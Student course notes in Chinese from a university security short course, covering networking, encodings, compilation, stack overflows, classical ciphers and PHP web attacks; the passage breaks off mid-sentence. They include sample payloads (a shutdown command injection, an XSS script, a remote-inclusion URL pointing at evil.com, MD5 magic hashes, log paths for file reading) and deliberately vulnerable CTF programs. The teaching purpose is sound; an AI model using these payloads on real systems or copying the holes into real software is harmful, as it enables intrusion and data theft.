教师:常瑞 申文博
TA/教师:TonyCrane, Gooduck, f0rm211n, das schloss, OverJerry, 45gfg9, Esifiel, SuperGay, yyy, pumpkin
课程开源内容:https://courses.zjusec.com/intro/lab0/
很不错的信息安全短学期课程,极大提升自学能力(确信。一共有 Misc,Pwn,Crypto,Web,Reverse 五个专题课程。第一周为基础周,第二周选择两个专题进行精进(Web,Reverse)。每一节课都有对应的一个 Lab,期限两周。唯一的问题是每节课都会用到新的工具,如果不熟练或者环境配置有问题的话整节课的感觉十分炸裂/(ㄒ o ㄒ)/~~。

Web

桌面应用和 Web 应用在架构上有显著的区别。桌面应用通常是在本地运行的独立程序,而 Web 应用则需要依赖客户端和服务端的协作。

  • 客户端:你的浏览器
    • 可视化
    • 人机交互逻辑
    • 缓存、Cookie
    • 安全
  • 服务端:某台或很多台服务器 - Authentication and Authorization - 处理请求 - 安全 用户不能获取不能得到的信息 + 不能执行任意代码RCE

    前端也可以有服务器,处理页面跳转等。区别于后端处理业务逻辑的服务器

网络

数据包

数据包(邮件)
传输和路由(分拣)

域名 DNS

DNS(地址簿)对应 IP 地址(门牌号)与容易记忆的域名

  • 可以把用户的请求分摊到多个服务器中
  • 在更换 IP 地址的时候可以自动更换定位

OSI 七层模型

  • 物理层:bit 的发送传输 与 纠错
  • 数据链路层:硬件和硬件的通信 e.g. 网卡与路由器
  • 网络层:包裹的分拣和物流
  • 传输层:有效到达对端 数据包具体到哪个应用

TCP/IP

  • IP:网络层 数据包的寻址 主机到主机(快递公司)
  • TCP:端到端(菜鸟驿站)两个应用用同一个端口的话就无法区分数据了
    无边界的字节流 :不区分数据的开始和结束,由应用层规定边界->可能发生粘包的情况->数据包走私
  • UDP:开销小 快 自由度高

DNS

A:v4 地址
AAAA:v6 地址
CNAME:包括别名
TXT:文本
NS:其他 DNS 解析服务器

1
nslookup
_非权威应答_ :可能过期

询问根域名(.)的 DNS 服务器 (类型为NS

询问com.

这样一层一层地询问下去,最终可以得到最准确的 ip 地址

tracert

实现:设置一个`TTL`,到达这么多次跳跃的时候把这个包设置为“死包” `tracert`就是运用设置 TTL 为 1、2、3……通过收取路由器返回的丢弃包的信息来得知路由的过程

代理 PROXY

VPN

正向代理,看起来像是在内网一样

反向代理

把内网的东西传到外面
可以隐藏原 IP 通过 cloudflare 转发
内网穿透

HTTP

应用层 基于 TCP
超文本传输协议
无状态

客户端向服务端发送请求 ↑

请求头 ↑(包含了 cookie)

可以通过浏览器的cookie editor插件来查看其组成部分

后端:业务逻辑

不要相信用户的数据(前端过滤等于没有过滤

  • 常见技术栈 Node.js Go Rust…

CTF

逻辑漏洞

if money!=0 then money-=price. What if money=-1

  • 这么蠢的洞也有人写?
  • 这么写怎么可能有洞?
  • 这么多人用怎么可能有洞?

注入:混淆了数据和代码

宏:拼接代码极其危险
例如printf("%d", _____)
正常输入:1 2 3
恶意输入:1); system("shutdown -s -t 0"); //
就变成了printf("%d", 1); system("shutdown -s -t 0"); //)

存在客户端的小型文本文件
暂时储存用户的偏好设置,身份验证信息
所以如果 Cookie 泄露以后 可以直接用该账号的名义进行操作(直接绕过了登录)

Session

储存在服务端的临时数据储存区域
例如用户登录以后创建一个 Session 并将 Session ID 通过 Cookie 发给客户端
以后只需要客户端在请求的时候包含该 ID 就行,由服务端在 Session 中查找数据

PHP

PHP study
e.g.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
<title>PHP 示例</title>
</head>
<body>
<h1>欢迎使用 PHP</h1>
<?php
// 定义变量
$name = "John";
$age = 25;

// 输出变量
echo "<p>你好,我的名字是 $name,我今年 $age 岁。</p>";

// 条件语句
if ($age >= 18) {
echo "<p>我已成年。</p>";
} else {
echo "<p>我未成年。</p>";
}

// 数组
$fruits = array("apple", "banana", "cherry");
echo "<p>我喜欢的水果有:</p>";
echo "<ul>";
foreach ($fruits as $fruit) {
echo "<li>$fruit</li>";
}
echo "</ul>";

// HTML 短标签
?>
<p>这是使用 HTML 短标签的示例:</p>
<?= "当前时间是:" . date("Y-m-d H:i:s") ?>

<?php
$fr = "pear";
$pear = 114;
$lingo = 514;
echo $$fr;
?>
</body>
</html>

SQL

增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- create
CREATE TABLE EMPLOYEE (
empId INTEGER PRIMARY KEY,
name TEXT NOT NULL,
dept TEXT NOT NULL
);

-- insert
INSERT INTO EMPLOYEE VALUES (0001, 'Clark', 'Sales');
INSERT INTO EMPLOYEE VALUES (0002, 'Dave', 'Accounting');
INSERT INTO EMPLOYEE VALUES (0003, 'Ava', 'Sales');

-- fetch
SELECT * FROM EMPLOYEE WHERE dept = 'Sales';

PRIMARY KEY主键 互不相同 可以很方便地索引
NOT NULL 不能为空

SELECT *

典型安全问题:直接拼接字符串进行 SQL 查找 如果此时用户恶意注入了一段 SQL 代码,比如将后面注释掉(--),前面插入恶意代码(SELECT ...),就会导致数据库中的信息暴露

安全问题

  • 逻辑漏洞
    a==1&&a==2结果一定为false
  • 任意文件读与任意代码执行:最严重的问题
  • 文件包含:例如一个 Web 应用允许用户通过 URL 参数指定要包含的文件,如index.php?page=about。攻击者可以通过构造恶意 URL,如index.php?page=http://evil.com/malicious.php,包含远程恶意文件,从而执行恶意代码。
  • 越权:例如一个 Web 应用允许用户查看自己的订单信息,但未正确验证用户的身份。攻击者可以通过篡改 URL 参数,如order.php?id=123,查看其他用户的订单信息。

前端:可视化与操作逻辑

HTML - CSS - JS

Type Script

增加了静态类型

Node.js

使用了 Chrome 的 V8 引擎
让 JS 可以在电脑上直接运行而不依赖浏览器

安全问题

XSS

示例: 假设有一个留言板应用,用户可以提交留言。如果应用没有对用户输入进行过滤和编码,攻击者可以提交以下恶意留言: ```

1
Copy <script>alert('XSS 攻击!');</script>

​ 当其他用户访问留言板时,这段脚本会在他们的浏览器中执行,弹出一个警告框。
如果脚本内容是其他的恶意代码的话,所有访问留言板的用户都会中招

CSRF

跨站请求伪造

SSRF

服务器端请求伪造
假设有一个 Web 应用允许用户输入 URL 并获取该 URL 的内容。攻击者可以输入内部服务的 URL,获取敏感信息:

1
2
<https://example.com/fetch?url=http://internal-service:8080/secret>

很经典的例子:QQ 机器人对 url 自动生成网页预览,导致内网的网页被暴露

跨域

示例: 假设有一个 Web 应用需要从另一个域名加载数据,但由于同源策略,直接请求会被阻止:

1
2
3
4
fetch("<https://api.example.com/data>")
.then((response) => response.json())
.then((data) => console.log(data))
.catch((error) => console.error("Error:", error));

经典老番:地址栏输入网址并访问后发生了什么

输入网址并访问的过程

  1. DNS 解析(域名解析)
    • 浏览器会首先检查本地缓存中是否有该网址对应的 IP 地址。
    • 如果没有,它会向 DNS 服务器发送请求,查询该网址的 IP 地址。
    • DNS 服务器返回该网址对应的 IP 地址给浏览器。
  2. 建立 TCP 连接
    • 浏览器使用前面得到的 IP 地址,通过 TCP/IP 协议与目标服务器建立连接。
    • 这包括三次握手过程:客户端发送 SYN 包,服务器返回 SYN-ACK 包,客户端再发送 ACK 包确认连接。
  3. 发送 HTTP 请求
    • 建立连接后,浏览器会发送一个 HTTP 请求到服务器。这个请求包含了请求方法(如 GET 或 POST)、请求的资源路径以及一些头信息(如浏览器类型、可接受的文件类型等)。
  4. 服务器处理请求并返回响应
    • 服务器接收到请求后,会处理该请求,查找请求的资源(如 HTML 文件、图片、视频等)。
    • 服务器会将找到的资源以及一些头信息(如内容类型、内容长度等)打包成 HTTP 响应,返回给浏览器。
  5. 浏览器接收响应并渲染页面
    • 浏览器接收到服务器返回的 HTTP 响应后,会解析响应的头信息和内容。
    • 如果内容是 HTML 文件,浏览器会解析 HTML 并根据其中的指令(如加载 CSS 文件、执行 JavaScript 脚本等)进行渲染。
    • 浏览器会逐步构建 DOM 树和 CSSOM 树,并根据它们生成渲染树,最后将内容绘制到屏幕上。
  6. 加载资源
    • 如果 HTML 文件中包含了其他资源(如图片、CSS、JavaScript 等),浏览器会根据需要发送额外的 HTTP 请求来加载这些资源。
    • 这些资源加载完成后,浏览器会继续渲染页面,更新显示内容。

整个过程通常在短时间内完成,以确保用户能够快速看到网页内容。

MISC

  • 取证
  • 隐写
  • OSINT
  • 流量取证

编解码

工具CyberChef

字符编码

人类理解的字符 \leftrightarrow 计算机理解的 01 串 之间的映射方法

  • ASCII:每个字符可以用 7bit 表示
    • 80-9F 控制字符
    • A0-FF 可见字符
  • Unicode 字符集
    • UTF-8
    • ……
  • 中国国标字符集
    • GB2312
    • GBK
    • ……
第一位为 0 的时候就是 ASCII

乱码

每种编码方式的规则不同(乱码),编码的范围也不同(U+FFFD�)导致出现问题

实践中可以使用 CyberChef、 vscode、 python 进行解编码

1
2
"string".encode("UTF-8")
"string".decode("GBK")
**注意**:python 在处理异常的解码时会直接抛出错误,如果不想让他这样做的话要加上代码
1
"string".decode("UTF-8", errors='replace')

这样会正常输出可以解码的部分 并把错误部分用特殊字符 � 替换

Base 编码

01 串和 01 串之间互相转化

  • Base16:用 16 进制表示字节流,长度翻倍
  • Base32:按照 5bit 一组 按照字符表(A-Z2-7)映射 长度为 5 的倍数 不足的用‘=’补齐
  • Base64:6bit 一组 \frac{\frac{按照标准字符表(可以换)A-Za-z0-9+/ 转换。结果长度必须是 4 的倍数,不足的用‘=’补齐

常用编码-转换-乱码

GBK

OSINT

文件信息泄露

  • 文档的原信息
  • 工程文件夹 .vscode .git …
  • 文件夹路径泄露 markdown 文件图片路径(源文件)

Reverse

编译原理:前端和后端
IR:无论要编译成什么汇编语言,都可以使用 IR

一般逆向用户态可执行程序

  • Windows: PE/PE32+
  • Linux: ELF(Executable and Linkable Format)

编译

分为前端和后端两部分

1
gcc/clang -S Hello.c -o Hello.s`

-S compile only
-Ox 优化等级

保留所有中间文件

1
clang -save-temps hello.c -o hello.elf

前端

生成clang AST

1
clang -Xclang -ast-dump -S hello.c

生成LLVM IR

1
clang -Xclang -emit-llvm -S hello.c -o hello.ll

后端

LLVM IR 到汇编

1
llc hello.ll -o hello.s

汇编到目标文件

1
llvm-mc -filetype=obj hello.s -o hello.o

一步到位

1
llc -filetype=obj hello.ll -o hello.c

链接

  • 静态:把所有依赖的全部连接上 即使在一个“裸机”新环境下也可以正常运行
  • 动态:节省磁盘 需要库函数

程序到进程

  • 程序是静态的 文件的概念
  • 进程是动态的 系统运行时的概念 有(pid)
    根据 pid 查看进程相关的信息
1
2
cd/proc/<pid>
ps -o

逆向

逆向不等于破解

Pwn

Pwn = Find the Bugs + Exploit them

A Software Bug is a failure or flaw in a program that produces undesired or incorrect results. It’s an error that prevents the application from functioning as it should

利用目的:代码远程执行

例题 1

目标:让这个程序 crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>

void prepare()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(60);
}

int pow(int a, int b)
{
int c = a;
if (b == 0)
return 1;

for (; b > 1; b--)
{
c = a * c;
}
return c;
}

int main()
{
int a, b, i, j;

prepare();

printf("Input your decimal number: ");
scanf("%d", &a);

printf("What do you want to turn it into: ");
scanf("%d", &b);

for (i = 0; i < 100; i++) {
if (a <= pow(b, i))
break;
}

printf("Result: ");
for (; i > 0; i--) {
j = a / pow(b, i - 1);
printf("%d", j);
a = a % (int)pow(b, i - 1);
}
putchar('\n');

return 0;
}

很简单的漏洞,0 进制? 负数进制?会不会有位数溢出?

例题 2

目标:让这个程序暴露出用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define ADMIN_NAME "admin"
#define USER_NAME "user"

#define BUFFER_SIZE (32)

int get_password(char *name, char *buf)
{
unsigned int length;
printf("Hello %s, please tell me the length of your password\n", name);
scanf("%d", &length);

if (length > BUFFER_SIZE)
{
printf("you password is way too long");
return -1;
}
else
{
printf("cool, input your password\n");
return read(STDIN_FILENO, buf, BUFFER_SIZE);
}
}

#define VERIFY "\x27\x85\x56\x4a\xb2\x29\xe7\xf1\xa6\xc0\xab\xd7\xd6\x82\xb8\x1b\x4c\x43\xb0\x33\x0d\xb2\xbe\xb8\x10\x7a\x73\x30\x0a\xf3\xff\x59"
#define KEY "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

void tea_decrypt_block(uint32_t *v, uint32_t *k)
{
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++)
{ /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}

void tea_decrypt(char *ciphertext, int len, char *key)
{
if (len % 8 != 0)
exit(1);

for (int i = 0; i < len; i += 8)
{
tea_decrypt_block(ciphertext + i, key);
}
}

void get_user_password(char *buf)
{
memcpy(buf, VERIFY, BUFFER_SIZE);
tea_decrypt(buf, BUFFER_SIZE, KEY);
}

void get_admin_password(char *buf)
{
int fd = open("password.txt", O_RDONLY);
if (fd < 0)
{
printf("something wrong\n");
exit(-1);
}
read(fd, buf, BUFFER_SIZE);
close(fd);
}

void prepare()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(60);
}

int main(int argc, char *argv[])
{
char username[BUFFER_SIZE];
char password[BUFFER_SIZE];
char password_verify[BUFFER_SIZE];

prepare(); // quite necessary

memset(username, 0, BUFFER_SIZE * 3);

printf("Hello there, please input your username\n");
read(STDIN_FILENO /* 0 */, username, BUFFER_SIZE);

if (username[strlen(username) - 1] == '\n')
username[strlen(username) - 1] = 0;

get_password(username, password);

if (!strncmp(username, ADMIN_NAME, strlen(ADMIN_NAME)))
{
get_admin_password(password_verify);
if (!memcmp(password, password_verify, BUFFER_SIZE))
{
printf("password correct! launch your shell\n");
system("/bin/sh");
}
else
goto wrong_password;
}
else if (!strncmp(username, USER_NAME, strlen(USER_NAME)))
{
get_user_password(password_verify);
if (!memcmp(password, password_verify, BUFFER_SIZE))
{
printf("password correct! show your the first part of flag\n");
printf("flag1: %s", getenv("FLAG1"));
}
else
goto wrong_password;
}
else
goto wrong_password;

return 0;

wrong_password:
printf("What's wrong with you? Are you a hacker?\n");
printf("----------------- LOG -----------------\n");
printf("you input name as %s (len %d)\n", username, strlen(username));
printf("you input password as %s (len %d)\n", password, strlen(password));
printf("---------------------------------------\n");
return -1;
}

输入 用户名 和 密码
如果用户名是
admin: 从远程调用一个 password.txt 并比较
其他用户

漏洞:

1
2
3
4
5
6
7
8
wrong_password:
printf("What's wrong with you? Are you a hacker?\n");
printf("----------------- LOG -----------------\n");
printf("you input name as %s (len %d)\n", username, strlen(username));
printf("you input password as %s (len %d)\n", password, strlen(password));
printf("---------------------------------------\n");
return -1;
}

使用%s打印字符串
如果 password 输入结尾没有 0, 那么会把处于其内存往后的一部分泄露出来

1
2
3
char username[BUFFER_SIZE];
char password[BUFFER_SIZE];
char password_verify[BUFFER_SIZE];

password_verify

代码注入 Code Injection

Stack Buffer Overflow

栈的实现基于两个指针

  • stack pointer
  • frame pointer
    两个原语
  • push
  • pop
1
2
3
PUSH rbp
MOVE rbp rsp
ADD res 0xffffff80
调用完毕函数时:
1
2
3
POP rbp #栈的抬升
RET #还原rbp 并且把调用时存进去的return address返还给运行pc 返回到原来调用前的位置

例题 1

实现获得access granted的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// gcc -g -fno-stack-protector example.c -o example
#include <stdio.h>
#include <stdbool.h>
#include <string.h>

#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 64

void get_admin_password(char *buf)
{
int fd = open("password.txt", O_RDONLY);
if (fd < 0)
{
printf("something wrong\n");
exit(-1);
}
read(fd, buf, BUFFER_SIZE);
close(fd);
}

int main(int argc, char* argv[])
{
char password[64] = {0};
char input[64] = {0};
bool verified = false;

get_admin_password(password);
gets(input);

if (strcmp(input, password) == 0) {
verified = true;
}

if (verified)
puts("Access Granted");
// ...
else
puts("Access Failed");
// ...

return 0;
}

这段代码使用了gets(input)输入字符串 完全没有限定读入的长度
NEVER USE THIS FUNCTION!
再对比 password.txt 和 input 来判断密码是否正确

发现verified刚好位于input数组后面,可以通过溢出来更改verified的值
这样无论密码是否正确,都可以把verified设置为true

注意编译的时候要关闭编译器的栈保护功能

1
gcc -g -fno-stack-protector example.c -o example

否则会被检测出栈攻击的行为stack smashing detected!
其原理是在原来栈的上面插入一个随机值,如果该值被改变掉了,说明收到了栈攻击。不过这种栈保护依然可以被绕过。通过栈泄露这个随机值,并且维持它即可。

例题 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// gcc -no-pie -fno-stack-protector example.c -o example

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE (64)

void prepare()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(60);
}

void never_reachable_backdoor()
{
char *args[2] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}

int main(int argc, char *argv[])
{
int size;
char buffer[BUFFER_SIZE];

prepare();

printf("size: ");
scanf("%d", &size);

printf("plase enter: ");
read(STDIN_FILENO, buffer, size);

return 0;
}

通过覆盖函数的返回地址,实现把代码劫持到留有的后门中never_reachable_backdoor
让代码跳转到适当的位置
到达这个后门程序以后。就通过系统调用来打开shell

例题 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// gcc -fno-stack-protector example.c -o example

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE (64)

void prepare()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(60);
}

void never_reachable_backdoor()
{
char *args[2] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}

void leaf()
{
int size;
char buffer[BUFFER_SIZE];

printf("size: ");
scanf("%d", &size);

printf("plase enter: ");
read(STDIN_FILENO, buffer, size);
}

int main(int argc, char *argv[])
{
prepare();
leaf();
return 0;
}

如果一个程序开了 pie 保护,就难以获得特定函数的起始地址了(运行时地址是某个地址加上一个随机基地址)
可以通过此命令查看程序被什么保护了

1
checksec <filename>

破解的方法是:虽然函数的起始地址被加上了一个随机的基地址,但是在运行的过程中函数地址的相对位置还是确定的。可以得知其后三个十六进制位的值,剩余一位(半个字节)可以强行爆破

Crypto

密码学

  • 存储:不安全,会被窃取
  • 传输:不隐秘,会被窃听

密码学做题网站

明文:plaintext
加密:encryption
密文:ciphertext
解密:decryption
密码算法:cryptography algorithm
密钥:key 加密或解密所需要的除了密码算法之外的关键信息

对称加密:加密和解密的时候使用同一密钥
非对称加密:加密使用公钥,解密使用私钥
哈希函数:把输入内容单项映射到一个短的摘要上,可用于文件完整性校验
数字签名:对消息进行签名,以防冒名伪造或篡改

古典密码

  • 代换密码:用新的替换原有的内容
  • 置换密码:打乱原有的顺序

凯撒密码

简单的单表替换密码

enc(x)=(x+key)mod26enc(x) = (x+key)\mod 26

dec(y)=(ykey)mod26dec(y)=(y-key)\mod 26

也可以扩展到 ASCII 上进行移位

仿射密码

既有乘法又有加法

enc(x)=(xkey1+key2)mod26enc(x)=(x\cdot key_1 +key_2)\mod 26

dec(y)=(ykey2)key1mod26dec(y)=(y-key_2 )\cdot key_1 \mod 26

单表替换密码很容易被词频统计和暴力破解

维吉尼亚密码

多表加密
第 i 个字符使用第 i 个密钥进行偏移

置换密码

加密变换使得信息元素只有位置变化而内容不变

栅栏密码

把明文分成 k 行再进行重新拼接

Hill 密码

把每个字母当作 26 进制数字,将一串字母变成 n 维向量。通过定义一个n×nn\times n的矩阵(这个矩阵就是密钥),对向量进行乘法,即可加密。这个矩阵的逆矩阵即为解密的矩阵

专题:Web 安全 SQL 注入部分见另外一篇文章

PHP

快死了,但是还没死透
facebook 是 php 写的
漏洞多,但是容易理解

可以比喻为:在静态的 HTML 里面挖洞,填上动态的东西

SQL injection attacks → “Outdated” attack vector:(small↓↓↓ attack interface)

Prelude: Run a PHP script

1
2
3
php -r "echo 114514"

php -a //interactive cmd line

Attacks: Git leaks & File leaks

GitHack
Usage

1
python GitHack.py http://www.openssl.org/.git/

.git 版本控制中存在所有文件的历史

Scan possible folders: using

1
dirsearch -u http://

硬扫某个网站的漏洞(有法律风险)

Weak Comparison

1
2
var_dump("0e1234"=="0e5678")
=>bool(true)

php 把这两个当成了科学计数法,所以数值上是一样的

  • Attack vector: hash comparison
    有些网站会使用 md5 对字符进行处理后再存放
    但是有些字符经过处理后会变成 0e 开头,此时进行 php 的弱比较就会出问题
  • MD5:
1
2
3
QNKCDZO  -> 0e830400451993494058024219903391
240610708 -> 0e462097431906509019562988736854
s878926199a -> 0e545993274517709034328855841020

In-place: 0e215962017 == md5(0e215962017);

Variable override

1
2
3
4
$a=array("tony"=>"crane");
extract($a);
echo $tony;
crane
  • Variables and special variables:
    • $_GET: URL parameters via query string.
    • $_POST: Variables passed via HTTP POST method.
    • $_REQUEST: Combines $_GET, $_POST, and $_COOKIE.
    • $_SESSION: Session variables for the current script.
    • $_COOKIE: Variables passed via HTTP cookies.
    • $_FILES: Items uploaded via HTTP POST method.
    • $_ENV: Variables passed via the environment method.
    • $_SERVER: Server and execution environment information.
    • $_GLOBALS: References all global variables available in the script.
      Check them via var_dump(...); !
  • Built-in functions
    • phpinfo
    • exec
    • var_dump
    • highlight_file

File inclusion

  • Similar to Python import: to include is to execute
  • Make it BOOOOOM: include self include __FILE__;
  • AFR: Arbitrary File Reading - Read /etc/passwd to verify whether you’ve achieved AFR or not - 远古时代用来存密码的,验证你做到了任意文件读 - Read /flag if you could! - Read files where you can (partly or fully) control: - Log files - /var/log/auth.log - /var/log/apache/access_log - /var/www/logs/access_log - /var/log/access_log - File uploaded by users (or attackers… you! )
    从 AFR 到 RCE(远程文件执行)找一个 php 文件然后 include,自己加上开始和结束的标签即可执行

Session

1
php -r "phpinfo();" | grep "session.save_path"

获得当前的 Session

Regex: bypass via catastrophic backtracking

工具 https://regex101.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// var_dump(ini_get('pcre.backtrack_limit'));
$input = $_GET["sql"];

function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
echo "Booooooom! You've got me.";
$f = fopen("shell.php", "w");
fwrite($f, $input);
fclose($f);
}
echo "^_^";
// Tips: use var_dump() to find out the actual return value of preg_match()
?>

虽然运用了正则匹配,来判断输入是不是一个 php 文件,把它拦住,不让他写入文件
但是,